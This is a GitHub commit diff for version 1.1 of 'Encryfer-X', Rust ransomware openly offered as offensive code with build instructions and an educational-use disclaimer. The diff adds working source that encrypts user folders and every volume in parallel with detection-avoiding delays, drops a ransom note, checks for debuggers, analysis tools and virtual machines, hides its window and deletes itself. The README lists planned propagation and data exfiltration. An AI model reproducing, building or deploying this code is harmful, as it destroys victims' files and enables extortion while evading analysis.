Skip to content
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit a583406

Browse files
committedJan 14, 2025
Encryfer-X Ransomware Update
V 1.1
1 parent 5d36994 commit a583406

File tree

14 files changed

+666
-553
lines changed

14 files changed

+666
-553
lines changed
 

‎Malware-Samples/Encryfer/Encryfer-X/Cargo.toml

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,11 @@ aes = "0.8.4"
88
chacha20poly1305 = "0.10.1"
99
cipher = "0.4.4"
1010
ctr = "0.9.2"
11-
dirs = "5.0.1"
11+
dirs = "6.0.0"
1212
hex = "0.4.3"
13-
raw-cpuid = "11.1.0"
13+
rand = "0.8.5"
14+
raw-cpuid = "11.3.0"
15+
rayon = "1.10.0"
1416
reqwest = {version = "0.12.7", features = ["blocking"]}
15-
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
17+
# winapi = { version = "0.3.9", features = ["sddl","winbase","winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
18+
winapi = {version = "0.3.9", features = ["winuser","fileapi","handleapi","minwinbase","heapapi","winbase","debugapi","errhandlingapi","tlhelp32","wincon"]}
Lines changed: 28 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
## Encryfer-X Ransomware
1+
## Encryfer-X Ransomware V.1.1 Updated
22

3-
Pronounciation: **En-cry-fer-X**
3+
Pronounciation: **En-cry-fer-X**
44

55
<div align="center">
66

@@ -9,40 +9,51 @@ Pronounciation: **En-cry-fer-X**
99
**Encryfer-X** is a malicious software written in **RUST**, designed to encrypt files on an infected system. Once executed, it recursively scans the system for files and applies a strong encryption algorithm to render them inaccessible. To recover the encrypted files, a decryption tool is required.
1010

1111
Created By [@5mukx](https://x.com/5mukx)
12-
1312
<br>
1413
</div>
1514
Algorith Used : AES256 + chacha20poly1305
1615

17-
### Functionality of this Ransomware
16+
### Features of Encryfer-X
17+
18+
* Data Encryption using Parallelism . [For Stealthy and Fast W]
19+
* Anti-Debug Techniques. 99% Pass Rate.
20+
* Anti-Vm Techniques.
21+
* Made Improvements in Encryption.
22+
* Volume Based Decryption.
23+
* Random Delay 10-100ms while Encryption. [Prevent Detection]
24+
* Added Self Deletion Techniques (On Time & Reboot delete).
1825

19-
* File Encryption: Encrypor-X identifies and encrypts various file types, including documents, images, audio, and video files recursively at Volume Drives too.
26+
Future Plans:
2027

21-
* Ransom Note: After encryption, the ransomware typically creates a ransom note containing instructions on how to obtain the decryption key. This note often demands a ransom payment in exchange for the key.
28+
* Polymorphic Implementations
29+
* Fileless Execution
30+
* Network Propagation
31+
* Data Exfiltration
32+
* Obfuscation of Code
33+
* Time Bombs
2234

23-
* Persistence: Encrypor-X may attempt to persist on the system by checking the following requirements:
24-
* Checks if the file Runs under debug
25-
* Check if the file runs under VM's
35+
### How to Execute.
2636

27-
**ONCE ENCRYPTED YOU CAN'T DECRYPT IT WITHOUT THE DECRYPTED SOFTWARE WITH PROPER KEY SO SAVE THE KEY WITH PRECAUTION ;)**
37+
> **⚠️Warning⚠️**: This Provided Content is intended for educational purposes only. I am not responsible for any misuse or negative consequences resulting from the use of this tool.
2838
39+
> ⚠️Note⚠️: By Default I have Enabled all features. Including Recursive Volume Encryption. To test this Ransomware comment or modify the functions !.
2940
30-
### How to Execute
41+
Build the following code.
3142

32-
> **⚠️Warning⚠️**: This Provided Content is intended for educational purposes only. I am not responsible for any misuse or negative consequences resulting from the use of this tool.
43+
```
44+
cargo build --release
45+
```
3346

34-
> ⚠️Note⚠️: By Default I have Enabled all features. Including Recursive Volume Encryption. To test this Ransomware comment the calling func() !.
47+
You can find the Binary file at: `./target/release/Encryfer-X.exe`
3548

3649
To see the demo video check my tweet: [Tweet](https://x.com/5mukx/status/1829094735988076900)
3750

38-
You need the Following 2 THings: AES wit 32.len() + Encrypted Hex Value that contains AES256 with chacha !.
51+
> ⚠️Note⚠️: You need the Following 2 THings: AES wit 32.len() + Encrypted Hex Value that contains AES256 with chacha !.
3952
4053
For Decryption: [Encryfer-X-Decryptor](../Encyfer-X-Decryptor/)<br>
4154
To Generate Keys: [Random-Keys-Generator](../Random-Keys-Generator/)
4255

43-
4456
For More Offensive codes. Visit [Rust For Malware Development](https://github.com/Whitecat18/Rust-for-Malware-Development)
4557

46-
47-
58+
For more Quality Resources Follow me on X: [@5mukx](https://x.com/5mukx)
4859

‎Malware-Samples/Encryfer/Encryfer-X/src/encrypt.rs

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
// src/encryption.rs
21

32
use aes::Aes256;
43
use chacha20poly1305::ChaCha20Poly1305;
@@ -22,6 +21,14 @@ pub fn encrypt_aes(file_data: &[u8], key: &[u8; 32]) -> Vec<u8> {
2221
encrypted_data.extend_from_slice(&encrypted_block);
2322
}
2423

24+
// Padding !
25+
if let Some(&padding_size) = encrypted_data.last(){
26+
let len = encrypted_data.len();
27+
if padding_size as usize <= len {
28+
encrypted_data.truncate(len - padding_size as usize);
29+
}
30+
}
31+
2532
encrypted_data
2633
}
2734

@@ -31,7 +38,14 @@ pub fn encrypt_chacha(file_data: &[u8], key: &[u8; 32], nonce: &[u8; 12]) -> Vec
3138
msg: file_data,
3239
aad: b"optional_data",
3340
};
34-
cipher.encrypt(nonce.into(), payload).expect("Encryption failed")
41+
// cipher.encrypt(nonce.into(), payload).expect("Encryption failed")
42+
match cipher.decrypt(nonce.into(), payload) {
43+
Ok(decrypted_data) => decrypted_data,
44+
Err(_) => {
45+
eprintln!("ChaCha Encryption failed");
46+
Vec::new()
47+
}
48+
}
3549
}
3650

3751
pub const CONTENT: &str = "Your network has been penetrated.
@@ -56,8 +70,6 @@ No system is safe
5670
Lol :)
5771
5872
Created By Smukx: [Follow Me for more Offensive Nerdy Content]
59-
My Repository: https://github.com/Whitecat18
60-
My Socials: https://linktr.ee/smukx
6173
X: https://x.com/5mukx
6274
6375
I Have Created this program for Education Purposes only
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
use winapi::um::handleapi::CloseHandle;
2+
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};
3+
use winapi::shared::minwindef::{DWORD, FALSE};
4+
use std::ffi::{CStr, CString};
5+
6+
pub(crate) fn evade_dbg() -> bool {
7+
// list of dbgs !
8+
let processes = vec![
9+
CString::new("ollydbg.exe").unwrap(),
10+
CString::new("ollyice.exe").unwrap(),
11+
CString::new("ProcessHacker.exe").unwrap(),
12+
CString::new("tcpview.exe").unwrap(),
13+
CString::new("autoruns.exe").unwrap(),
14+
CString::new("autorunsc.exe").unwrap(),
15+
CString::new("filemon.exe").unwrap(),
16+
CString::new("procmon.exe").unwrap(),
17+
CString::new("regmon.exe").unwrap(),
18+
CString::new("procexp.exe").unwrap(),
19+
CString::new("idaq.exe").unwrap(),
20+
CString::new("idaq64.exe").unwrap(),
21+
CString::new("ImmunityDebugger.exe").unwrap(),
22+
CString::new("Wireshark.exe").unwrap(),
23+
CString::new("dumpcap.exe").unwrap(),
24+
CString::new("HookExplorer.exe").unwrap(),
25+
CString::new("ImportREC.exe").unwrap(),
26+
CString::new("PETools.exe").unwrap(),
27+
CString::new("LordPE.exe").unwrap(),
28+
CString::new("SysInspector.exe").unwrap(),
29+
CString::new("proc_analyzer.exe").unwrap(),
30+
CString::new("sysAnalyzer.exe").unwrap(),
31+
CString::new("sniff_hit.exe").unwrap(),
32+
CString::new("windbg.exe").unwrap(),
33+
CString::new("joeboxcontrol.exe").unwrap(),
34+
CString::new("joeboxserver.exe").unwrap(),
35+
CString::new("ResourceHacker.exe").unwrap(),
36+
CString::new("x32dbg.exe").unwrap(),
37+
CString::new("x64dbg.exe").unwrap(),
38+
CString::new("Fiddler.exe").unwrap(),
39+
CString::new("httpdebugger.exe").unwrap(),
40+
CString::new("cheatengine-i386.exe").unwrap(),
41+
CString::new("cheatengine-x86_64.exe").unwrap(),
42+
CString::new("cheatengine-x86_64-SSE4-AVX2.exe").unwrap(),
43+
CString::new("frida-helper-32.exe").unwrap(),
44+
CString::new("frida-helper-64.exe").unwrap(),
45+
];
46+
47+
let snapshot = unsafe {
48+
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
49+
};
50+
51+
52+
if snapshot.is_null() {
53+
println!("Failed to create snapshot");
54+
return false;
55+
}
56+
57+
let mut pe: PROCESSENTRY32 = unsafe { std::mem::zeroed() };
58+
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as DWORD;
59+
60+
if unsafe { Process32First(snapshot, &mut pe) } == FALSE {
61+
println!("Failed to enumerate first process");
62+
return false;
63+
}
64+
65+
loop {
66+
let process_name = unsafe { CStr::from_ptr(&pe.szExeFile as *const i8) };
67+
for process in &processes {
68+
if process_name.to_bytes() == process.as_bytes() {
69+
// process has been found
70+
return true;
71+
}
72+
}
73+
74+
if unsafe { Process32Next(snapshot, &mut pe) } == FALSE {
75+
break;
76+
}
77+
}
78+
79+
unsafe{
80+
CloseHandle(snapshot);
81+
return false;
82+
}
83+
}
84+

‎Malware-Samples/Encryfer/Encryfer-X/src/evade_vm.rs

Lines changed: 1 addition & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,9 @@
11
/*
22
Anti-Virtualization / Full-System Emulation
3-
For More Malware POC: https://github.com/Whitecat18/Rust-for-Malware-Development.git
4-
Resources Used: https://github.com/LordNoteworthy/al-khaser
5-
By @5mukx
3+
Author: @5mukx
64
*/
75

8-
96
/*
10-
117
Note:
128
[Dev Machine] -> Installed VM's Softwares and some development tools for malware testing.
139
I have comment out some code due to testing purpose. If you execute this code on development machines[Dev Machine] , ofcouse its gonna result out
@@ -20,7 +16,6 @@ Note:
2016
Reduce the content of the program or artifacts and keep up the main one for
2117
*/
2218

23-
2419
use std::process::Command;
2520
use std::fs;
2621
use raw_cpuid::CpuId;
@@ -315,32 +310,3 @@ fn find_matching_pattern<'a>(mac_address: &'a Vec<u8>, patterns: &'a Vec<Vec<u8>
315310
}
316311
None
317312
}
318-
319-
320-
// Programs to find thr presence of Specific CPU Instructions !
321-
// There is an create that will take care of it !!
322-
// fn check_cpu_instruction(eax_value: u32) -> bool {
323-
// let eax_value_str = format!("{:#x}", eax_value);
324-
// let output = Command::new("cpuid")
325-
// .args(&["-l", &eax_value_str])
326-
// .output()
327-
// .expect("Failed to execute cpuid cmd");
328-
329-
// let output_str = String::from_utf8_lossy(&output.stdout);
330-
// output_str.contains(&eax_value_str)
331-
// }
332-
333-
// fn detect_vendor_string(vendor_string: &str) -> bool {
334-
// let output = Command::new("cpuid")
335-
// .args(&["-s", "0"])
336-
// .output()
337-
// .expect("Failed to execute cpuid cmd");
338-
339-
// let output_str = String::from_utf8_lossy(&output.stdout);
340-
// output_str.contains(vendor_string)
341-
// }
342-
343-
// Program to use WMI Quaries to retrieve sys info !
344-
345-
// System Firmware tables
346-
// Get Syetem frimwares => soon !

‎Malware-Samples/Encryfer/Encryfer-X/src/file_operand.rs

Lines changed: 98 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,42 @@
1-
use std::ffi::{OsStr, OsString};
2-
use std::fs::{self, File};
3-
use std::io::{Read, Write};
1+
/*
2+
functions to encrypt files
3+
Author: @5mukx
4+
*/
5+
6+
#![allow(dead_code)]
7+
8+
use std::ffi::OsString;
9+
use std::fs::{self, File, OpenOptions};
10+
use std::io::{Read, Seek, SeekFrom, Write};
411
use std::path::{Path, PathBuf};
12+
use std::thread;
13+
use std::time::Duration;
14+
use rand::Rng;
515
use winapi::um::errhandlingapi::GetLastError;
616
use winapi::um::fileapi::{FindFirstVolumeW, FindNextVolumeW, FindVolumeClose,GetVolumePathNamesForVolumeNameW};
7-
use winapi::um::winbase::MoveFileExW;
8-
use std::os::windows::ffi::{OsStrExt, OsStringExt};
17+
use std::os::windows::ffi::OsStringExt;
918
use std::ptr::null_mut;
19+
use rayon::prelude::*;
1020
use crate::encrypt::{
1121
encrypt_aes, encrypt_chacha
1222
};
1323

14-
//
24+
// added random delay to avoid detection !
25+
fn random_delay() {
26+
let mut rng = rand::thread_rng();
27+
let delay = rng.gen_range(10..100); // delay between 10 to 100ms
28+
std::thread::sleep(std::time::Duration::from_millis(delay));
29+
}
30+
31+
// added rayon [Parallel Encryption]
32+
// added Random Encryption Process ! -> randomize the order of encryption
1533

1634
pub fn recursive_encrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
1735
if dir.is_dir() {
1836
match fs::read_dir(dir) {
1937
Ok(entries) => {
20-
for entry in entries {
38+
entries.par_bridge().for_each(|entry| {
39+
random_delay();
2140
match entry {
2241
Ok(entry) => {
2342
let path = entry.path();
@@ -29,14 +48,20 @@ pub fn recursive_encrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chac
2948
}
3049
Err(e) => eprintln!("Failed to read entry: {}", e),
3150
}
32-
}
51+
});
3352
}
3453
Err(e) => eprintln!("Failed to read directory '{}': {}", dir.display(), e),
3554
}
3655
}
3756
}
3857

3958
fn encrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
59+
60+
if file_path.extension().and_then(|ext| ext.to_str()) == Some("exe"){
61+
return;
62+
}
63+
64+
4065
if file_path.extension().and_then(|ext| ext.to_str()) == Some("smukx") {
4166
return;
4267
}
@@ -84,6 +109,71 @@ fn encrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_
84109
}
85110

86111

112+
// New Function in chunk mode ...! Problem with decryption !!
113+
114+
// fn encrypt_file_chunks(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], mut chacha_nonce: [u8; 12]) {
115+
// fn encrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
116+
117+
// // Skip .exe, .smukx, and specific files
118+
// if file_path.extension().and_then(|ext| ext.to_str()) == Some("exe") {
119+
// eprintln!("Skipping encryption for executable file: {}", file_path.display());
120+
// return;
121+
// }
122+
123+
// if file_path.extension().and_then(|ext| ext.to_str()) == Some("smukx") {
124+
// return;
125+
// }
126+
127+
// if file_path.file_name().map_or(false, |name| name == "readme.txt") {
128+
// return;
129+
// }
130+
131+
// // Open the file for reading and writing
132+
// match OpenOptions::new().read(true).write(true).open(file_path) {
133+
// Ok(mut file) => {
134+
// let mut buffer = [0u8; 4096]; // Buffer size
135+
// loop {
136+
// // Read a chunk from the file
137+
// let n = match file.read(&mut buffer) {
138+
// Ok(0) => break, // EOF
139+
// Ok(n) => n,
140+
// Err(e) => {
141+
// eprintln!("Failed to read from '{}': {}", file_path.display(), e);
142+
// return;
143+
// }
144+
// };
145+
146+
// let encrypted_aes = encrypt_aes(&buffer[..n], key);
147+
// let encrypted_chacha = encrypt_chacha(&encrypted_aes, chacha_key, chacha_nonce);
148+
149+
// if let Err(e) = file.seek(SeekFrom::Current(-(n as i64))) {
150+
// eprintln!("Failed to seek in file '{}': {}", file_path.display(), e);
151+
// return;
152+
// }
153+
154+
// if let Err(e) = file.write_all(&encrypted_chacha) {
155+
// eprintln!("Failed to write to '{}': {}", file_path.display(), e);
156+
// return;
157+
// }
158+
159+
// // Introduce random delay
160+
// // random_delay();
161+
// }
162+
163+
// // Rename the file to add .smukx extension
164+
// let mut new_file_path = PathBuf::from(file_path);
165+
// new_file_path.set_extension("smukx");
166+
// if let Err(e) = fs::rename(file_path, &new_file_path) {
167+
// eprintln!("Failed to rename file '{}' to '{}': {}", file_path.display(), new_file_path.display(), e);
168+
// }
169+
// }
170+
// Err(e) => eprintln!("File not found or unable to open: '{}': {}", file_path.display(), e),
171+
// }
172+
// }
173+
174+
175+
176+
87177
pub(crate) fn get_all_volumes() -> Vec<OsString>{
88178

89179
let mut drive_letters = Vec::new();
@@ -146,19 +236,3 @@ pub(crate) fn get_all_volumes() -> Vec<OsString>{
146236
drive_letters
147237

148238
}
149-
150-
pub(crate) fn schedule_self_delete() {
151-
let exe_path = std::env::current_exe().unwrap();
152-
let exe_path_wide: Vec<u16> = OsStr::new(exe_path.to_str().unwrap())
153-
.encode_wide()
154-
.chain(Some(0).into_iter())
155-
.collect();
156-
157-
unsafe {
158-
MoveFileExW(
159-
exe_path_wide.as_ptr(),
160-
null_mut(),
161-
0x00000004,
162-
);
163-
}
164-
}

‎Malware-Samples/Encryfer/Encryfer-X/src/main.rs

Lines changed: 90 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,51 @@
1+
//===============================================================================================//
2+
// Copyright (c) 2025, 5mukx (Smukx E)
3+
//
4+
// All rights reserved.
5+
//
6+
// Redistribution and use in source and binary forms, with or without modification, are permitted
7+
// provided that the following conditions are met:
8+
//
9+
// * Redistributions of source code must retain the above copyright notice, this list of
10+
// conditions and the following disclaimer.
11+
//
12+
// * Redistributions in binary form must reproduce the above copyright notice, this list of
13+
// conditions and the following disclaimer in the documentation and/or other materials provided
14+
// with the distribution.
15+
//
16+
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
17+
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
18+
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
19+
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
20+
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
21+
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
22+
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
23+
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
24+
// POSSIBILITY OF SUCH DAMAGE.
25+
//===============================================================================================//
26+
27+
//===============================================================================================//
28+
// Encryfer-X [Rust Ransomware]
29+
//===============================================================================================//
30+
131
/*
2-
Encryfer-X is an Ransomware written in Rust.
3-
By Smukx
32+
Note:
33+
* ALL SETTINGS ARE ENABLED BY DEFAULT ..!
34+
- Do not execute on real system [Chances of recovery are rare and less].
35+
- If you want to test it on VM' disable the vm's and dbg function.
36+
- Only for Education Purpose. Im not responsible for abusing activities by modifying the code.
37+
* Created with ❤ by 5mukx.
438
*/
539

40+
// Run without console !
41+
#![windows_subsystem = "windows"]
42+
43+
44+
#![allow(unused_imports)]
645
use std::path::{Path, PathBuf};
746
use encrypt::create_readme_file;
8-
use file_operand::{get_all_volumes,schedule_self_delete};
47+
use file_operand::get_all_volumes;
48+
use self_delete::{schedule_self_delete, self_destruction};
949
use winapi::um::{
1050
debugapi::{CheckRemoteDebuggerPresent, IsDebuggerPresent}, processthreadsapi::GetCurrentProcess, wincon::{
1151
FreeConsole,
@@ -17,48 +57,55 @@ use winapi::um::{
1757
}
1858
};
1959

60+
// Algorithm Specfics
2061
use aes::Aes256;
2162
use aes::cipher::{KeyIvInit,StreamCipher};
2263
use hex::decode;
2364
mod encrypt;
2465
mod file_operand;
2566
mod wall;
2667
mod evade_vm;
68+
mod self_delete;
69+
mod evade;
70+
2771
use wall::maldev_wallpaper;
2872
use dirs::{desktop_dir, download_dir, document_dir, picture_dir, audio_dir, video_dir};
2973
type Aes256Ctr = ctr::Ctr128BE<Aes256>;
3074

3175
fn main() {
3276

33-
unsafe{
34-
FreeConsole();
77+
println!("Starting the Encryption");
3578

36-
let hwnd = GetConsoleWindow();
37-
if !hwnd.is_null(){
38-
ShowWindow(hwnd, 0);
39-
}
40-
}
41-
// println!("Success Point 1");
42-
43-
44-
// let aes_key: [u8; 32] = [27, 20, 127, 230, 201, 208, 178, 24, 197, 76, 96, 12, 16, 47, 231, 42, 156, 36
45-
// , 136, 165, 162, 223, 206, 190, 126, 59, 96, 99, 157, 122, 32, 165]; // Replace with your AES key
46-
// let chacha_key: [u8; 32] = [135, 239, 131, 39, 170, 37, 22, 137, 161, 39, 117, 6, 83, 156, 42, 242, 240, 55, 67, 47
47-
// , 206, 10, 84, 170, 44, 211, 106, 74, 12, 67, 222, 158]; // Replace with your ChaCha key
48-
// let chacha_nonce: [u8; 12] = [197, 126, 31, 217, 118, 253, 225, 182, 67, 54, 97, 77]; // Replace with your ChaCha nonce
4979

50-
// main_directory to check out !
80+
// Rust has better options for this !
81+
/*
82+
// used to hide window ! there are plenty of methods avaiable !
83+
// unsafe{
84+
// FreeConsole();
5185
52-
// check if binary file running at VM. Exits the Program if running !
86+
// let hwnd = GetConsoleWindow();
87+
// if !hwnd.is_null(){
88+
// ShowWindow(hwnd, 0);
89+
// }
90+
// }
5391
92+
*/
93+
94+
// Uncomment it to test it on VMs
95+
96+
// => Start
5497
let vms: bool = evade_vm::evade_vms();
55-
56-
if vms == false{
57-
std::process::exit(0x100);
58-
}
98+
let dbg: bool = evade::evade_dbg();
99+
59100

101+
if vms == false || dbg == true{
102+
std::process::exit(0x100);
103+
}
104+
60105
// Check if the program is running an dbgger
61106
unsafe { debug() };
107+
// => END
108+
62109

63110
// To common C:// common folders that contains sensitive files !
64111
let dirs_to_encrypt = vec![
@@ -70,16 +117,25 @@ fn main() {
70117
video_dir(),
71118
];
72119

120+
println!("Starting the Encryption");
121+
122+
// Start Encrypting Important Paths !
73123
for dir in dirs_to_encrypt.iter().flatten(){
74124
encryptor(dir);
75125
create_readme_file(dir);
76126
}
77127

128+
volume_paths();
129+
78130
// Use it to encrypt Volumes present in the Computer. May take some time depends upon the files victm has
79131
maldev_wallpaper();
80-
schedule_self_delete();
81-
volume_paths();
132+
82133
display_message();
134+
std::thread::sleep(std::time::Duration::from_secs(2));
135+
136+
// there are 2 functions that you can use it to delete.
137+
// schedule_self_delete();
138+
self_destruction();
83139

84140
std::process::exit(0x100);
85141
}
@@ -124,10 +180,11 @@ fn decrypt_hexa(keys: String)-> Vec<u8>{
124180
decrypt_vec_key
125181
}
126182

127-
128183
fn encryptor(dir_path: &Path){
129-
// For testing ...!
130-
// let dir_path: &Path = Path::new("D:/maldev/Encrypor-X/test");
184+
185+
// Replace your Keys generated from Random Generator.
186+
// Note that this keys will extract original key from the ma1n key so do not change the keys !
187+
// For new key generation. i have made a random key generator that generate keys with rand function !.
131188

132189
let aes_key: [u8; 32] = [
133190
27, 20, 127, 230, 201, 208, 178, 24, 197, 76, 96, 12, 16, 47, 231, 42, 156, 36, 136, 165, 162, 223, 206, 190, 126, 59, 96, 99, 157, 122, 32, 165
@@ -140,22 +197,20 @@ fn encryptor(dir_path: &Path){
140197
let decrypted_keys = decrypt_combined_key(&v3c_value, &aes_key).unwrap();
141198
let (aes_key_dec, chacha_key, chacha_nonce) = split_keys(&decrypted_keys);
142199

143-
144200
file_operand::recursive_encrypt(
145201
&dir_path,
146202
&aes_key_dec,
147203
&chacha_key,
148204
&chacha_nonce,
149205
);
150-
151-
// println!("{:?}", aes_key_dec);
152-
// println!("{:?}", chacha_key);
153-
// println!("{:?}", chacha_nonce);
154206
}
155207

156208
fn volume_paths(){
157209
// To encrypt each and every disk !
210+
158211
// let volumes = get_all_volumes_except_c();
212+
// println!("{:?}", volumes);
213+
159214
if get_all_volumes().is_empty() {
160215
return;
161216
}
@@ -184,4 +239,4 @@ unsafe fn debug(){
184239
std::process::exit(0x100);
185240

186241
}
187-
}
242+
}
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
/*
2+
Self Deletion Technique
3+
Author: @5mukx
4+
*/
5+
6+
7+
#![allow(dead_code)]
8+
use std::ffi::{OsStr, OsString};
9+
use std::os::windows::ffi::OsStrExt;
10+
use std::ptr::null_mut;
11+
use winapi::ctypes::c_void;
12+
use winapi::um::fileapi::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO};
13+
use winapi::um::handleapi::CloseHandle;
14+
use winapi::um::heapapi::HeapFree;
15+
use winapi::um::minwinbase::{FileDispositionInfo, FileRenameInfo};
16+
use winapi::um::winbase::{MoveFileExW, FILE_FLAG_DELETE_ON_CLOSE};
17+
use winapi::um::winnt::{FILE_ATTRIBUTE_NORMAL, HEAP_ZERO_MEMORY};
18+
use winapi::um::{fileapi::FILE_DISPOSITION_INFO, heapapi::{GetProcessHeap, HeapAlloc}};
19+
20+
// One time self delete after completing operations
21+
pub(crate) fn self_destruction(){
22+
// This stream name is for alternate stream.
23+
let stream = ":smukx_stream";
24+
let stream_wide: Vec<u16> = OsString::from(stream).encode_wide().chain(std::iter::once(0)).collect();
25+
26+
unsafe{
27+
let mut delete_file = FILE_DISPOSITION_INFO{
28+
DeleteFile: 1 // default value is 1
29+
};
30+
31+
let rename_info_size = std::mem::size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * std::mem::size_of::<u16>());
32+
33+
// allocate memory for FILE_RENAME_INFO
34+
let rename_info = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, rename_info_size) as *mut FILE_RENAME_INFO;
35+
36+
if rename_info.is_null() {
37+
panic!("Memory allocation failed");
38+
}
39+
40+
delete_file.DeleteFile = 1;
41+
(*rename_info).FileNameLength = (stream_wide.len() * std::mem::size_of::<u16>()) as u32 - 2;
42+
43+
std::ptr::copy_nonoverlapping(
44+
stream_wide.as_ptr(),
45+
(*rename_info).FileName.as_mut_ptr(),
46+
stream_wide.len(),
47+
);
48+
49+
let path = std::env::current_exe().unwrap();
50+
let mut full_path: Vec<u16> = OsString::from(path).encode_wide().collect();
51+
full_path.push(0);
52+
53+
// Open the file with delete and synchronize permissions
54+
let handle = CreateFileW(
55+
full_path.as_ptr(),
56+
0x00010000 | 0x00100000,
57+
0x00000001,
58+
core::ptr::null_mut(),
59+
3, // OPEN_EXISTING
60+
0 as u32, // FILE_ATTRIBUTE_NORMAL
61+
null_mut(),
62+
);
63+
64+
if handle.is_null() {
65+
panic!("Failed to open file");
66+
}
67+
68+
// rename the alternate data stream
69+
let setfileinfohandle = SetFileInformationByHandle(
70+
handle,
71+
FileRenameInfo,
72+
rename_info as *mut c_void,
73+
rename_info_size as u32
74+
);
75+
76+
if setfileinfohandle == 0 {
77+
panic!("Failed to set file information for rename");
78+
}
79+
80+
CloseHandle(handle);
81+
82+
// Re-open the file with delete on close flag
83+
let handle = CreateFileW(
84+
full_path.as_ptr(),
85+
0x00010000 | 0x40000000 | 0x00100000,
86+
0x00000001,
87+
std::ptr::null_mut(),
88+
3,
89+
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,
90+
null_mut(),
91+
);
92+
93+
if handle == null_mut() {
94+
panic!("Failed to re-open file for deletion");
95+
}
96+
97+
// mark the file for deletion
98+
let setfileinfo = SetFileInformationByHandle(
99+
handle,
100+
FileDispositionInfo,
101+
&delete_file as *const FILE_DISPOSITION_INFO as *mut c_void,
102+
std::mem::size_of::<FILE_DISPOSITION_INFO>() as u32
103+
);
104+
105+
if setfileinfo == 0 {
106+
panic!("Failed to mark file for deletion");
107+
}
108+
109+
CloseHandle(handle); // -> delete the file
110+
111+
// free the allocated memory
112+
HeapFree(
113+
GetProcessHeap(),
114+
0,
115+
rename_info as *mut c_void,
116+
);
117+
}
118+
}
119+
120+
pub(crate) fn schedule_self_delete() {
121+
let exe_path = std::env::current_exe().unwrap();
122+
let exe_path_wide: Vec<u16> = OsStr::new(exe_path.to_str().unwrap())
123+
.encode_wide()
124+
.chain(Some(0).into_iter())
125+
.collect();
126+
127+
unsafe {
128+
MoveFileExW(
129+
exe_path_wide.as_ptr(),
130+
null_mut(),
131+
0x00000004,
132+
);
133+
}
134+
}
135+

‎Malware-Samples/Encryfer/Encyfer-X-Decryptor/.gitignore

Lines changed: 0 additions & 1 deletion
This file was deleted.

‎Malware-Samples/Encryfer/Encyfer-X-Decryptor/Cargo.lock

Lines changed: 0 additions & 412 deletions
This file was deleted.
Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
[package]
2-
name = "Encypor-X-Decryptor"
2+
name = "Encryfer-X-Decryptor"
33
version = "0.1.0"
44
edition = "2021"
55

@@ -8,6 +8,8 @@ aes = "0.8.4"
88
chacha20poly1305 = "0.10.1"
99
cipher = "0.4.4"
1010
ctr = "0.9.2"
11-
dirs = "5.0.1"
11+
dirs = "6.0.0"
1212
hex = "0.4.3"
13-
winapi = {version = "0.3.9", features = ["winuser"]}
13+
rand = "0.8.5"
14+
rayon = "1.10.0"
15+
winapi = {version = "0.3.9", features = ["errhandlingapi","fileapi","winuser"]}

‎Malware-Samples/Encryfer/Encyfer-X-Decryptor/src/decrypt.rs

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
